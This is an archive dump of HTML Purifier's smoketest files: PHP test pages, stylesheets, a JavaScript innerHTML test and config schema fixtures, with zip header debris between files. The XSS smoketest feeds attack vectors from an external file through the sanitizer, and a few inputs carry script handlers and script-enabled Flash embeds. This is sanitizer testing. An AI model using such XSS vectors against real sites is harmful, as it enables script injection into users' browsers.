<img src="" alt="img@hspace" hspace="5" /> |
<img src="" alt="img@vspace" vspace="5" />
<!-- needs context -->
<input align="right" />
<legend align="center">Legend</legend>
<ol>
<li type="A">li@type (ensure that it's a capital A)</li>
<li value="5">li@value</li>
</ol>
<ol compact="compact"><li>ol@compact</li></ol>
<ol start="3"><li>ol@start</li></ol>
<ol type="I"><li>ol@type</li></ol>
<p align="right">p@align</p>
<pre width="50">pre@width</pre>
<script language="JavaScript">document.writeln('script');</script>
<table align="right"><tr><td>table@align</td></tr></table>
<table bgcolor="#0000FF"><tr><td>table@bgcolor</td></tr></table>
<table><tr bgcolor="#0000FF"><td>tr@bgcolor</td></tr></table>
<table><tr><td bgcolor="#0000FF">td@bgcolor</td></tr></table>
<table><tr><td height="50">td@height</td></tr></table>
<table><tr><td nowrap="nowrap">td@nowrap</td></tr></table>
<table><tr><td width="200">td@width</td></tr></table>
<table><tr><th bgcolor="#0000FF">th@bgcolor</th></tr></table>
<table><tr><th height="50">th@height</th></tr></table>
<table><tr><th nowrap="nowrap">th@nowrap</th></tr></table>
<table><tr><th width="200">th@width</th></tr></table>
<ul compact="compact"><li>ul@compact</li></ul>
<ul type="square"><li>ul@square</li></ul>
</div>
</body>
</html>
<!-- vim: et sw=4 sts=4
-->
PK j�$ZJ�� � - htmlpurifier/smoketests/basic/allElements.cssnu �[��� div > * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;}
#core-attributes #core-attributes-id,
#core-attributes .core-attributes-class,
#core-attributes div[title='tooltip'],
#core-attributes div[lang='en'],
#core-attributes div[onclick="alert('foo');"],
#module-text abbr,
#module-text acronym,
#module-text div blockquote,
#module-text blockquote[cite='http://www.example.com'],
#module-text br,
#module-text cite,
#module-text code,
#module-text dfn,
#module-text em,
#module-text h1,
#module-text h2,
#module-text h3,
#module-text h4,
#module-text h5,
#module-text h6,
#module-text kbd,
#module-text p,
#module-text pre,
#module-text span q,
#module-text q[cite='http://www.example.com'],
#module-text samp,
#module-text strong,
#module-text var,
#module-hypertext span a,
#module-hypertext a[accesskey='q'],
#module-hypertext a[charset='UTF-8'],
#module-hypertext a[href='http://www.example.com/'],
#module-hypertext a[hreflang='en'],
#module-hypertext a[rel='nofollow'],
#module-hypertext a[rev='index'],
#module-hypertext a[tabindex='1'],
#module-hypertext a[type='text/plain'],
#module-list dl,
#module-list ul,
#module-list ol,
#module-list li,
#module-list dd,
#module-list dt,
.insert-declarations-above
{background:#008000; margin:0; padding:0.2em;}
#module-text span, #module-text div {padding:0; margin:0.1em;}
#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;}
/* vim: et sw=4 sts=4 */
PK j�$Z�~�f� � ( htmlpurifier/smoketests/basic/legacy.cssnu �[���
center,
dir[compact='compact'],
isindex[prompt='Foo'],
menu[compact='compact'],
s,
u,
strike,
caption[align='bottom'],
div[align='center'],
dl[compact='compact'],
h1[align='right'],
h2[align='right'],
h3[align='right'],
h4[align='right'],
h5[align='right'],
h6[align='right'],
hr[align='right'],
hr[noshade='noshade'],
hr[width='50'],
hr[size='50'],
img[align='right'],
img[border='3'],
img[hspace='5'],
img[vspace='5'],
input[align='right'],
legend[align='center'],
li[type='A'],
li[value='5'],
ol[compact='compact'],
ol[start='3'],
ol[type='I'],
p[align='right'],
pre[width='50'],
table[align='right'],
table[bgcolor='#0000FF'],
tr[bgcolor='#0000FF'],
td[bgcolor='#0000FF'],
td[height='50'],
td[nowrap='nowrap'],
td[width='200'],
th[bgcolor='#0000FF'],
th[height='50'],
th[nowrap='nowrap'],
th[width='200'],
ul[compact='compact'],
ul[type='square'],
.insert-declarations-above
{background:#008000; color:#FFF; font-weight:bold;}
font {background:#BFB;}
u {border:1px solid #000;}
hr {height:1em;}
hr[size='50'] {height:50px;}
img[border='3'] {border: 3px solid #000;}
li[type='a'], li[value='5'] {color:#DDD;}
/* vim: et sw=4 sts=4 */
PK j�$Z�xG5 5 + htmlpurifier/smoketests/preserveYouTube.phpnu �[��� <?php
require_once 'common.php';
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>HTML Purifier Preserve YouTube Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>HTML Purifier Preserve YouTube Smoketest</h1>
<?php
$string = '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/BdU--T8rLns"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/BdU--T8rLns" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object>
<object width="416" height="337"><param name="movie" value="http://www.youtube.com/cp/vjVQa1PpcFNbP_fag8PvopkXZyiXyT0J8U47lw7x5Fc="></param><embed src="http://www.youtube.com/cp/vjVQa1PpcFNbP_fag8PvopkXZyiXyT0J8U47lw7x5Fc=" type="application/x-shockwave-flash" width="416" height="337"></embed></object>
<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/uNxBeJNyAqA&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/uNxBeJNyAqA&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="385" width="480"><param name="width" value="480" /><param name="height" value="385" /><param name="src" value="http://www.youtube.com/p/E37ADDDFCA0FD050&hl=en" /><embed height="385" src="http://www.youtube.com/p/E37ADDDFCA0FD050&hl=en" type="application/x-shockwave-flash" width="480"></embed></object>
<object
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="ooyalaPlayer_229z0_gbps1mrs" width="630" height="354"
codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab"><param
name="movie" value="http://player.ooyala.com/player.swf?embedCode=FpZnZwMTo1wqBF-ed2__OUBb3V4HR6za&version=2"
/><param name="bgcolor" value="#000000" /><param
name="allowScriptAccess" value="always" /><param
name="allowFullScreen" value="true" /><param name="flashvars"
value="embedType=noscriptObjectTag&embedCode=pteGRrMTpcKMyQ052c8NwYZ5M5FdSV3j"
/><embed src="http://player.ooyala.com/player.swf?embedCode=FpZnZwMTo1wqBF-ed2__OUBb3V4HR6za&version=2"
bgcolor="#000000" width="630" height="354"
name="ooyalaPlayer_229z0_gbps1mrs" align="middle" play="true"
loop="false" allowscriptaccess="always" allowfullscreen="true"
type="application/x-shockwave-flash"
flashvars="&embedCode=FpZnZwMTo1wqBF-ed2__OUBb3V4HR6za"
pluginspage="http://www.adobe.com/go/getflashplayer"></embed></object>
';
$regular_purifier = new HTMLPurifier();
$safeobject_purifier = new HTMLPurifier(array(
'HTML.SafeObject' => true,
'Output.FlashCompat' => true,
));
?>
<h2>Unpurified</h2>
<p><a href="?break">Click here to see the unpurified version (breaks validation).</a></p>
<div><?php
if (isset($_GET['break'])) echo $string;
?></div>
<h2>Without YouTube exception</h2>
<div><?php
echo $regular_purifier->purify($string);
?></div>
<h2>With SafeObject exception and flash compatibility</h2>
<div><?php
echo $safeobject_purifier->purify($string);
?></div>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z�tY�� � " htmlpurifier/smoketests/common.phpnu �[��� <?php
header('Content-type: text/html; charset=UTF-8');
if (!isset($_GET['standalone'])) {
require_once '../library/HTMLPurifier.auto.php';
} else {
require_once '../library/HTMLPurifier.standalone.php';
}
error_reporting(E_ALL);
function escapeHTML($string)
{
$string = HTMLPurifier_Encoder::cleanUTF8($string);
$string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8');
return $string;
}
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
function fix_magic_quotes(&$array)
{
foreach ($array as $k => $val) {
if (!is_array($val)) {
$array[$k] = stripslashes($val);
} else {
fix_magic_quotes($array[$k]);
}
}
}
fix_magic_quotes($_GET);
fix_magic_quotes($_POST);
fix_magic_quotes($_COOKIE);
fix_magic_quotes($_REQUEST);
fix_magic_quotes($_ENV);
fix_magic_quotes($_SERVER);
}
// vim: et sw=4 sts=4
PK j�$Z2 ��$ $ $ htmlpurifier/smoketests/innerHTML.jsnu �[��� var alphabet = 'a!`=[]\\;\':"/<> &';
var out = document.getElementById('out');
var testContainer = document.getElementById('testContainer');
function print(s) {
out.value += s + "\n";
}
function testImage() {
return testContainer.firstChild;
}
function test(input) {
var count = 0;
var oldInput, newInput;
testContainer.innerHTML = "<img />";
testImage().setAttribute("alt", input);
print("------");
print("Test input: " + input);
do {
oldInput = testImage().getAttribute("alt");
var intermediate = testContainer.innerHTML;
print("Render: " + intermediate);
testContainer.innerHTML = intermediate;
if (testImage() == null) {
print("Image disappeared...");
break;
}
newInput = testImage().getAttribute("alt");
print("New value: " + newInput);
count++;
} while (count < 5 && newInput != oldInput);
if (count == 5) {
print("Failed to achieve fixpoint");
}
testContainer.innerHTML = "";
}
print("Go!");
test("`` ");
test("'' ");
for (var i = 0; i < alphabet.length; i++) {
for (var j = 0; j < alphabet.length; j++) {
test(alphabet.charAt(i) + alphabet.charAt(j));
}
}
// document.getElementById('out').textContent = alphabet;
PK j�$Z�9� � � & htmlpurifier/smoketests/xssAttacks.phpnu �[��� <?php
require_once('common.php');
function formatCode($string)
{
return
str_replace(
array("\t", '»', '\0(null)'),
array('<strong>\t</strong>', '<span class="linebreak">»</span>', '<strong>\0</strong>'),
escapeHTML(
str_replace("\0", '\0(null)',
wordwrap($string, 28, " »\n", true)
)
)
);
}
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>HTML Purifier XSS Attacks Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
.scroll {overflow:auto; width:100%;}
.even {background:#EAEAEA;}
thead th {border-bottom:1px solid #000;}
pre strong {color:#00C;}
pre .linebreak {color:#AAA;font-weight:100;}
</style>
</head>
<body>
<h1>HTML Purifier XSS Attacks Smoketest</h1>
<p>XSS attacks are from
<a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a>.</p>
<p><strong>Caveats:</strong>
<tt>Google.com</tt> has been programatically disallowed, but as you can
see, there are ways of getting around that, so coverage in this area
is not complete. Most XSS broadcasts its presence by spawning an alert dialogue.
The displayed code is not strictly correct, as linebreaks have been forced for
readability. Linewraps have been marked with <tt>»</tt>. Some tests are
omitted for your convenience. Not all control characters are displayed.</p>
<h2>Test</h2>
<?php
if (version_compare(PHP_VERSION, '5', '<')) exit('<p>Requires PHP 5.</p>');
$xml = simplexml_load_file('xssAttacks.xml');
// programatically disallow google.com for URI evasion tests
// not complete
$config = HTMLPurifier_Config::createDefault();
$config->set('URI.HostBlacklist', array('google.com'));
$purifier = new HTMLPurifier($config);
?>
<table cellspacing="0" cellpadding="2">
<thead><tr><th>Name</th><th width="30%">Raw</th><th>Output</th><th>Render</th></tr></thead>
<tbody>
<?php
$i = 0;
foreach ($xml->attack as $attack) {
$code = $attack->code;
// custom code for null byte injection tests
if (substr($code, 0, 7) == 'perl -e') {
$code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i);
$code = str_replace('\0', "\0", $code);
}
// disable vectors we cannot test in any meaningful way
if ($code == 'See Below') continue; // event handlers, whitelist defeats
if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript
if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response
// custom code for US-ASCII, which couldn't be expressed in XML without encoding
if ($attack->name == 'US-ASCII encoding') $code = urldecode($code);
?>
<tr<?php if ($i++ % 2) {echo ' class="even"';} ?>>
<td><?php echo escapeHTML($attack->name); ?></td>
<td><pre><?php echo formatCode($code); ?></pre></td>
<?php $pure_html = $purifier->purify($code); ?>
<td><pre><?php echo formatCode($pure_html); ?></pre></td>
<td><div class="scroll"><?php echo $pure_html ?></div></td>
</tr>
<?php
}
?>
</tbody>
</table>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z@��� � 1 htmlpurifier/smoketests/test-schema/Type.text.txtnu �[��� Type.text
TYPE: text
DEFAULT: "Case sensitive\nand\npossibly\nquite long..."
DESCRIPTION: The text type has newlines and is case-sensitive.
--# vim: et sw=4 sts=4
PK j�$Z�pG G 7 htmlpurifier/smoketests/test-schema/Type.nullstring.txtnu �[��� Type.nullstring
TYPE: string/null
DEFAULT: null
--DESCRIPTION--
The null type is not a type, but a flag that can be added to any type
making null a valid value for that entry. It's useful for saying, "Let
the software pick the value for me," or "Don't use this element" when
false has a special meaning.
--# vim: et sw=4 sts=4
PK j�$Z��5v v 2 htmlpurifier/smoketests/test-schema/Type.float.txtnu �[��� Type.float
TYPE: float
DEFAULT: 3.1415
DESCRIPTION: The float type is a floating point number.
--# vim: et sw=4 sts=4
PK j�$Z�P � � 3 htmlpurifier/smoketests/test-schema/Type.string.txtnu �[��� Type.string
TYPE: string
DEFAULT: 'Case sensitive'
DESCRIPTION: The string type is short (no newlines) and case-sensitive.
--# vim: et sw=4 sts=4
PK j�$Z\� � 9 htmlpurifier/smoketests/test-schema/Directive.Allowed.txtnu �[��� Directive.Allowed
TYPE: string
DEFAULT: 'apple'
ALLOWED: 'apple', 'orange', 'pear', 'peach', 'mango'
DESCRIPTION: This directive has a constrained set of allowed values.
--# vim: et sw=4 sts=4
PK j�$Z��iB� � 2 htmlpurifier/smoketests/test-schema/Type.itext.txtnu �[��� Type.itext
TYPE: itext
DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong"
DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive.
--# vim: et sw=4 sts=4
PK j�$Z��?�+ + , htmlpurifier/smoketests/test-schema/info.ininu �[��� name = "Test Schema"
; vim: et sw=4 sts=4
PK j�$Z�S�Rl l , htmlpurifier/smoketests/test-schema/Type.txtnu �[��� Type
DESCRIPTION: Directives demonstration the variable types ConfigSchema supports.
--# vim: et sw=4 sts=4
PK j�$Z�e��T T 1 htmlpurifier/smoketests/test-schema/Directive.txtnu �[��� Directive
DESCRIPTION: Other custom options with directives.
--# vim: et sw=4 sts=4
PK j�$Z`�T�k k 1 htmlpurifier/smoketests/test-schema/Type.bool.txtnu �[��� Type.bool
TYPE: bool
DEFAULT: false
DESCRIPTION: The boolean type is true or false.
--# vim: et sw=4 sts=4
PK j�$ZW���� � < htmlpurifier/smoketests/test-schema/Directive.Deprecated.txtnu �[��� Directive.Deprecated
TYPE: int
DEFAULT: 0
DESCRIPTION: This is a deprecated directive that shouldn't show up on the form.
DEPRECATED-VERSION: 1.0.0
DEPRECATED-USE: Directive.Allowed
--# vim: et sw=4 sts=4
PK j�$Z�3s� � 3 htmlpurifier/smoketests/test-schema/Type.lookup.txtnu �[��� Type.lookup
TYPE: lookup
DEFAULT: array('key1' => true, 'key2' => true)
DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with <code>isset($var[$key])</code>.
--# vim: et sw=4 sts=4
PK j�$Z��]�� � 2 htmlpurifier/smoketests/test-schema/Type.mixed.txtnu �[��� Type.mixed
TYPE: mixed
DEFAULT: new stdclass()
DESCRIPTION: The mixed type allows any type, and is not form-editable.
--# vim: et sw=4 sts=4
PK j�$Zs@�^� � 1 htmlpurifier/smoketests/test-schema/Type.list.txtnu �[��� Type.list
TYPE: list
DEFAULT: array('item1', 'item2')
DESCRIPTION: The list type is a numerically indexed array of strings.
--# vim: et sw=4 sts=4
PK j�$ZPK�}f f 0 htmlpurifier/smoketests/test-schema/Type.int.txtnu �[��� Type.int
TYPE: int
DEFAULT: 23
DESCRIPTION: The int type is an signed integer.
--# vim: et sw=4 sts=4
PK j�$Z��Jm� � 5 htmlpurifier/smoketests/test-schema/Type.nullbool.txtnu �[��� Type.nullbool
TYPE: bool/null
DEFAULT: null
--DESCRIPTION--
Null booleans need to be treated a little specially. See %Type.nullstring
for information on what the null flag does.
--# vim: et sw=4 sts=4
PK j�$Zhh*� � 4 htmlpurifier/smoketests/test-schema/Type.istring.txtnu �[��� Type.istring
TYPE: istring
DEFAULT: 'case insensitive'
DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive.
--# vim: et sw=4 sts=4
PK j�$Z�k� � 1 htmlpurifier/smoketests/test-schema/Type.hash.txtnu �[��� Type.hash
TYPE: hash
DEFAULT: array('key1' => 'val1', 'key2' => 'val2')
DESCRIPTION: The hash type is an associative array of string keys and string values.
--# vim: et sw=4 sts=4
PK j�$Z.d�<� � & htmlpurifier/smoketests/innerHTML.htmlnu �[��� <html>
<head>
<title>innerHTML smoketest</title>
</head>
<body>
<!--
What we're going to do is use JavaScript to calculate
fixpoints of innerHTML parse and reparsing. We start with
an input value, encoded in a JavaScript string.
x.innerHTML = input
We then snapshot the DOM state of x, and then perform the
iteration:
intermediate = x.innerHTML
x.innerHTML = intermediate
What inputs are we going to test?
We will generate using the following alphabet:
a01~!@#$%^&*()_+`-=[]\{}|;':",./<>? (and <space>)
-->
<textarea id="out" style="width:100%;height:100%;"></textarea>
<div id="testContainer" style="display:none"></div>
<script src="innerHTML.js" type="text/javascript"></script>
</body>
</html>
PK j�$Z�^ � � htmlpurifier/smoketests/all.phpnu �[��� <?php
require_once 'common.php';
header('Content-type: text/html; charset=UTF-8');
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>HTML Purifier: All Smoketests</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
#content {margin:5em;}
iframe {width:100%;height:30em;}
</style>
</head>
<body>
<h1>HTML Purifier: All Smoketests</h1>
<div id="content">
<?php
$dir = './';
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
if ($filename[0] == '.') continue;
if (strpos($filename, '.php') === false) continue;
if ($filename == 'common.php') continue;
if ($filename == 'all.php') continue;
if ($filename == 'testSchema.php') continue;
?>
<iframe src="<?php echo escapeHTML($filename); if (isset($_GET['standalone'])) {echo '?standalone';} ?>"></iframe>
<?php
}
?>
</div>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z�| \ & htmlpurifier/smoketests/dataScheme.phpnu �[��� <?php
require_once 'common.php';
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>HTML Purifier data Scheme Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>HTML Purifier data Scheme Smoketest</h1>
<?php
$string = '<img src="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAABGdBTUEAALGP
C/xhBQAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9YGARc5KB0XV+IA
AAAddEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIFRoZSBHSU1Q72QlbgAAAF1J
REFUGNO9zL0NglAAxPEfdLTs4BZM4DIO4C7OwQg2JoQ9LE1exdlYvBBeZ7jq
ch9//q1uH4TLzw4d6+ErXMMcXuHWxId3KOETnnXXV6MJpcq2MLaI97CER3N0
vr4MkhoXe0rZigAAAABJRU5ErkJggg==" alt="Red dot" />';
$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data'));
?>
<div><?php
echo $purifier->purify($string);
?></div>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$ZC� L� � ) htmlpurifier/smoketests/attrTransform.phpnu �[��� <?php
require 'common.php';
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>HTML Purifier Attribute Transformation Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
div.container {position:relative;height:120px;border:1px solid #CCC;
margin-bottom:1em; width:225px; float:left; margin-top:1em;
margin-right:1em;}
h2 {clear:left;margin-bottom:0;}
div.container.legend .test {text-align:center;line-height:100px;}
div.test {width:100px;height:100px;border:1px solid black;
position:absolute;top:10px;overflow:auto;}
div.test.html {left:10px;border-right:none;background:#FCC;}
div.test.css {left:110px;background:#CFC;}
img.marked {border:1px solid #000;background:#FFF;}
table.bright {background-color:#F00;}
hr.short {width:50px;}
</style>
</head>
<body>
<h1>HTML Purifier Attribute Transformation Smoketest</h1>
<div class="container legend">
<div class="test html">
HTML
</div>
<div class="test css">
CSS
</div>
</div>
<?php
if (version_compare(PHP_VERSION, '5', '<')) exit('<p>Requires PHP 5.</p>');
$xml = simplexml_load_file('attrTransform.xml');
// attr transform enabled HTML Purifier
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Doctype', 'XHTML 1.0 Strict');
$purifier = new HTMLPurifier($config);
$title = isset($_GET['title']) ? $_GET['title'] : true;
foreach ($xml->group as $group) {
echo '<h2>' . $group['title'] . '</h2>';
foreach ($group->sample as $sample) {
$sample = (string) $sample;
?>
<div class="container">
<div class="test html">
<?php echo $sample; ?>
</div>
<div class="test css">
<?php echo $purifier->purify($sample); ?>
</div>
</div>
<?php
}
}
?>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z!�Y0� � + htmlpurifier/smoketests/printDefinition.phpnu �[��� <?php
require_once 'common.php'; // load library
require_once 'HTMLPurifier/Printer/HTMLDefinition.php';
require_once 'HTMLPurifier/Printer/CSSDefinition.php';
require_once 'HTMLPurifier/Printer/ConfigForm.php';
$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', 'HTML');
// you can do custom configuration!
if (file_exists('printDefinition.settings.php')) {
include 'printDefinition.settings.php';
}
$gen_config = HTMLPurifier_Config::createDefault();
$printer_html_definition = new HTMLPurifier_Printer_HTMLDefinition();
$printer_html_definition->prepareGenerator($gen_config);
$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition();
$printer_css_definition->prepareGenerator($gen_config);
$printer_config_form = new HTMLPurifier_Printer_ConfigForm(
'config',
'http://htmlpurifier.org/live/configdoc/plain.html#%s'
);
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>HTML Purifier Printer Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
.hp-config {margin-left:auto; margin-right:auto;}
.HTMLPurifier_Printer table {border-collapse:collapse;
border:1px solid #000; width:600px;
margin:1em auto;font-family:sans-serif;font-size:75%;}
.HTMLPurifier_Printer td, .HTMLPurifier_Printer th {padding:3px;
border:1px solid #000;background:#CCC; vertical-align: baseline;}
.HTMLPurifier_Printer th {text-align:left;background:#CCF;width:20%;}
.HTMLPurifier_Printer caption {font-size:1.5em; font-weight:bold;}
.HTMLPurifier_Printer .heavy {background:#99C;text-align:center;}
.HTMLPurifier_Printer .unsafe {background:#C99;}
dt {font-weight:bold;}
</style>
<link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" />
<script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script>
</head>
<body>
<h1>HTML Purifier Printer Smoketest</h1>
<p>HTML Purifier claims to have a robust yet permissive whitelist: this
page will allow you to see precisely what HTML Purifier's internal
whitelist is. You can
also twiddle with the configuration settings to see how a directive
influences the internal workings of the definition objects.</p>
<h2>Modify configuration</h2>
<p>You can specify an array by typing in a comma-separated
list of items, HTML Purifier will take care of the rest (including
transformation into a real array list or a lookup table).</p>
<form method="get" action="" name="hp-configform">
<?php
echo $printer_config_form->render($config, 'HTML');
?>
<p>* Some configuration directives make a distinction between an empty
variable and a null variable. A whitelist, for example, will take an
empty array as meaning <em>no</em> allowed elements, while checking
Null/Disabled will mean that user whitelisting functionality is disabled.</p>
</form>
<h2>Definitions</h2>
<dl>
<dt>Parent of Fragment</dt>
<dd>HTML that HTML Purifier does not live in a void: when it's
output, it has to be placed in another element by means of
something like <code><element> <?php echo $html
?> </element></code>. The parent in this example
is <code>element</code>.</dd>
<dt>Strict mode</dt>
<dd>Whether or not HTML Purifier's output is Transitional or
Strict compliant. Non-strict mode still actually a little strict
and converts many deprecated elements.</dd>
<dt>#PCDATA</dt>
<dd>Literally <strong>Parsed Character Data</strong>, it is regular
text. Tags like <code>ul</code> don't allow text in them, so
#PCDATA is missing.</dd>
<dt>Tag transform</dt>
<dd>A tag transform will change one tag to another. Example: <code>font</code>
turns into a <code>span</code> tag with appropriate CSS.</dd>
<dt>Attr Transform</dt>
<dd>An attribute transform changes a group of attributes based on one
another. Currently, only <code>lang</code> and <code>xml:lang</code>
use this hook, to synchronize each other's values. Pre/Post indicates
whether or not the transform is done before/after validation.</dd>
<dt>Excludes</dt>
<dd>Tags that an element excludes are excluded for all descendants of
that element, and not just the children of them.</dd>
<dt>Name(Param1, Param2)</dt>
<dd>Represents an internal data-structure. You'll have to check out
the corresponding classes in HTML Purifier to find out more.</dd>
</dl>
<h2>HTMLDefinition</h2>
<?php echo $printer_html_definition->render($config) ?>
<h2>CSSDefinition</h2>
<?php echo $printer_css_definition->render($config) ?>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z_@�:~
~
) htmlpurifier/smoketests/allConfigForm.phpnu �[��� <?php
require_once 'common.php'; // load library
require_once 'HTMLPurifier/Printer/ConfigForm.php';
$config = HTMLPurifier_Config::loadArrayFromForm($_POST, 'config');
// you can do custom configuration!
if (file_exists('allConfigForm.settings.php')) {
include 'allConfigForm.settings.php';
}
$gen_config = HTMLPurifier_Config::createDefault();
$printer_config_form = new HTMLPurifier_Printer_ConfigForm(
'config',
'http://htmlpurifier.org/live/configdoc/plain.html#%s'
);
$purifier = new HTMLPurifier($config);
$html = isset($_POST['html']) ? $_POST['html'] : "";
$purified = $purifier->purify($html);
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>HTML Purifier All Config Form smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
.hp-config {margin-left:auto; margin-right:auto;}
.HTMLPurifier_Printer table {border-collapse:collapse;
border:1px solid #000; width:600px;
margin:1em auto;font-family:sans-serif;font-size:75%;}
.HTMLPurifier_Printer td, .HTMLPurifier_Printer th {padding:3px;
border:1px solid #000;background:#CCC; vertical-align: baseline;}
.HTMLPurifier_Printer th {text-align:left;background:#CCF;width:20%;}
.HTMLPurifier_Printer caption {font-size:1.5em; font-weight:bold;}
.HTMLPurifier_Printer .heavy {background:#99C;text-align:center;}
.HTMLPurifier_Printer .unsafe {background:#C99;}
dt {font-weight:bold;}
</style>
<link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" />
<script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script>
</head>
<body>
<h1>HTML Purifier All Config Form Smoketest</h1>
<p>This prints config form for everything we support.</p>
<form method="post" action="" name="hp-configform">
<table style="width:100%">
<tr><th>Input</th><th>Output</th>
<tr><td style="width:50%">
<textarea name="html" style="width:100%" rows="15"><?php echo htmlspecialchars($html) ?></textarea>
</td><td style="width:50%">
<textarea name="result" style="width:100%" rows="15"><?php echo htmlspecialchars($purified) ?></textarea>
</td></tr>
</table>
<input type="submit" />
<?php
echo $printer_config_form->render($config);
?>
</form>
<pre><?php
echo htmlspecialchars(var_export($config->getAll(), true));
?></pre>
<?php
// vim: et sw=4 sts=4
PK j�$ZX�_�y y ! htmlpurifier/smoketests/basic.phpnu �[��� <?php
require_once 'common.php';
// todo : modularize the HTML in to separate files
$allowed = array(
'allElements' => true,
'legacy' => true
);
$page = isset($_GET['p']) ? $_GET['p'] : false;
if (!isset($allowed[$page])) $page = false;
$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false;
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?>
<?php if ($strict) { ?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1- Strict.dtd">
<?php } else { ?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
<?php } ?>
<html>
<head>
<title>HTML Purifier Basic Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<?php
if ($page) {
if (file_exists("basic/$page.css")) {
?><link rel="stylesheet" href="basic/<?php echo $page ?>.css" type="text/css" /><?php
}
}
?>
</head>
<body>
<?php
if ($page) {
?>
<div style="float:right;"><div><?php echo $strict ? 'Strict' : 'Loose'; ?>:
